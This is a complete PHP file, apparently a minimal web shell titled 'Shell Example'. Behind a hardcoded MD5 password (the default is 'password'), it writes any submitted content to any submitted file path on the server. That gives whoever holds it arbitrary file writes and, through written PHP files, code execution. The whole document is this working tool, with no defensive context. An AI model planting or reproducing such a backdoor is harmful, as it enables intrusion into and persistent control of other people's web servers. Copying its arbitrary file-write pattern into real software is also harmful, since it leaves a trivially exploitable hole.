Code

<?php
// Default password: password
$password = "5f4dcc3b5aa765d61d8327deb882cf99";
if(isset($_POST['submit']))
{
	if(empty($_POST['filename']) || empty($_POST['code']) || empty($_POST['password']))
	{
		// If any parameters are empty
		die("Empty Parameters!");
	} elseif(md5($_POST['password']) !== $password)
	{
		// If encoded post parameter: password does not match already encoded $password
		die("Incorrect password!");
	}
	// Open file with filename parameter
	$file = fopen($_POST['filename'], 'w');
	// Write code to file
	fwrite($file, $_POST['code']);
	// Close file
	fclose($file);
	// Alert that file was written to
	echo "<div align=\"center\" class=\"success\">Successfully written: <b>" . htmlspecialchars($_POST['filename']) . "</b></div>";
}
?>
<html lang="en">
	<head>
		<title>Shell Example</title>
		<style>
		body{background-color:#000000;}
		.container{margin-top:12%;}
		h1{font-family:Tahoma;color:#fff;}
		.filename{border:0;background-color:#fff;border-radius:2%;width:16%;padding-top:1%;padding-bottom:1%;padding-left:1%;}
		.code{border:0;background-color:#fff;border-radius:2%;width:16%;padding-top:1%;padding-bottom:1%;padding-left:1%;}
		.password{border:0;background-color:#fff;border-radius:2%;width:16%;padding-top:1%;padding-bottom:1%;padding-left:1%;}
		#space{padding-top:3px;}
		.submit{border:0;background-color:#4DC061;width:16%;padding-top:1%;padding-bottom:1%;border-radius:2%;}
		.success{width:16%;background-color:#4DC061;color:#000000;padding-bottom:1%;padding-top:1%;}
		</style>
	</head>
	<body>
		<div align="center" class="container">
			<form action="" method="POST">
			<h1>Shell Example</h1>
				<input type="text" name="filename" class="filename" placeholder="Enter Filename..."><div id="space"></div>
				<input type="text" name="code" class="code" placeholder="Enter HTML Code..."><div id="space"></div>
				<input type="password" name="password" class="password" placeholder="Enter Password..."><div id="space"></div>
				<input type="submit" name="submit" class="submit" value="Submit">
			</form>
		</div>
	</body>
</html>